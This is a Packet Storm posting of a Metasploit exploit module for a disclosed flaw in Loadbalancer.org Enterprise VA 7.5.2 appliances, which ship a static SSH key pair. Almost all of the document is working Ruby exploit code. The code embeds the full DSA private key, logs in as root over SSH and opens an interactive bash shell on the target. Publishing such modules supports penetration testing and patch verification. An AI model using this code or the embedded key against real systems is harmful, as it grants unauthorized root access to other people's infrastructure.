Exploit the possiblities

Loadbalancer.org Enterprise VA SSH Private Key Exposure

Loadbalancer.org Enterprise VA SSH Private Key Exposure
Posted Mar 19, 2014
Authored by xistence | Site metasploit.com

Loadbalancer.org ships a public/private key pair on Enterprise virtual appliances version 7.5.2 that allows passwordless authentication to any other LB Enterprise box. Since the key is easily retrievable, an attacker can use it to gain unauthorized remote access as root.

tags | exploit, remote, root
MD5 | e01474e1689d8e393565267014bdc316

Loadbalancer.org Enterprise VA SSH Private Key Exposure

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'net/ssh'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info, {
'Name' => 'Loadbalancer.org Enterprise VA SSH Private Key Exposure',
'Description' => %q{
Loadbalancer.org ships a public/private key pair on Enterprise virtual appliances
version 7.5.2 that allows passwordless authentication to any other LB Enterprise box.
Since the key is easily retrievable, an attacker can use it to gain unauthorized remote
access as root.
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Targets' => [ [ "Universal", {} ] ],
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'Author' => 'xistence <xistence[at]0x90.nl>', # Discovery, Metasploit module
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://packetstormsecurity.com/files/125754/Loadbalancer.org-Enterprise-VA-7.5.2-Static-SSH-Key.html']
],
'DisclosureDate' => "Mar 17 2014",
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DefaultTarget' => 0
}))

register_options(
[
# Since we don't include Tcp, we have to register this manually
Opt::RHOST(),
Opt::RPORT(22)
], self.class
)

register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)

end

# helper methods that normally come from Tcp
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end

def do_login(user)
opt_hash = {
:auth_methods => ['publickey'],
:msframework => framework,
:msfmodule => self,
:port => rport,
:key_data => [ key_data ],
:disable_agent => true,
:config => false,
:record_auth_info => true,
:proxies => datastore['Proxies']
}
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh_socket = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh_socket = Net::SSH.start(rhost, user, opt_hash)
end
rescue Rex::ConnectionError, Rex::AddressInUse
return nil
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return nil
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return nil
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
return nil
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return nil
end

if ssh_socket

# Create a new session from the socket, then dump it.
conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash', true)
ssh_socket = nil

return conn
else
return nil
end
end

def exploit
conn = do_login("root")
if conn
print_good "#{rhost}:#{rport} - Successful login"
handler(conn.lsock)
end
end

def key_data
<<EOF
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCsCgcOw+DgNR/7g+IbXYdOEwSB3W0o3l1Ep1ibHHvAtLb6AdNW
Gq47/UxY/rX3g2FVrVCtQwNSZMqkrqALQwDScxeCOiLMndCj61t3RxU3IOl5c/Hd
yhGh6JGPdzTpgf8VhJIZnvG+0NFNomYntqYFm0y11dBQPpYbJE7Tx1t/lQIVANHJ
rJSVVkpcTB4XdtR7TfO317xVAoGABDytZN2OhKwGyJfenZ1Ap2Y7lkO8V8tOtqX+
t0LkViOi2ErHJt39aRJJ1lDRa/3q0NNqZH4tnj/bh5dUyNapflJiV94N3637LCzW
cFlwFtJvD22Nx2UrPn+YXrzN7mt9qZyg5m0NlqbyjcsnCh4vNYUiNeMTHHW5SaJY
TeYmPP8CgYAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1
MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl
2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkAIUCsG3dIJH
SzmJVCWFyVuuANR2Bnc=
-----END DSA PRIVATE KEY-----
EOF
end

end


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